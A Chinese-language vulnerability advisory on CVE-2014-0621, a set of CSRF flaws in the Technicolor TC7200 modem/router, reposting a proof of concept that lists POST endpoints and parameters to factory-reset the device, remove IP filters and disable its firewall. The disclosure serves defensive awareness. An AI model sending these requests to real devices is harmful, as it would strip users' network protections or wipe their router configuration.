Technicolor TC7200多个跨站脚本请求伪造漏洞

发布日期：2014-01-06
更新日期：2014-01-07受影响系统：
technicolor TC7200 STD6.01.12
描述：
--------------------------------------------------------------------------------
CVE（CAN） ID: CVE-2014-0621Technicolor TC7200是调制解调器和路由器产品。Technicolor TC7200在实现上存在多个跨站请求伪造漏洞，成功利用后可更改IP过滤选项、防火墙设置等。<*来源：Jeroen
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！# Exploit Title: Technicolor TC7200 - Multiple CSRF Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0621
#
# Proof of Concept:
#
#
## Payload for Factory Reset:
#
# POST : http://<ip>/goform/system/factory
# Parameter: None
#
## Payload to disable the advanced options:
#
# POST : http://<ip>/goform/advanced/options
# Parameter: None
#
## Payload to remove ip-filters:
#
# POST : http://<ip>//goform/advanced/ip-filters
# Parameter: IpFilterAddressDelete1 = 1
#
## Payload to remove firewall settings
#
# POST : http://<ip>/goform/advanced/firewall
# Parameter: cbFirewall = 1
#
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/建议：
--------------------------------------------------------------------------------
厂商补丁：technicolor
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew ays/cable-modems-gatewaTor随机号生成漏洞Seagate BlackArmor NAS 220 多个安全漏洞相关资讯 Technicolor TC7200

Technicolor TC7200多个跨站脚本执（01/09/2014 17:27:44）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款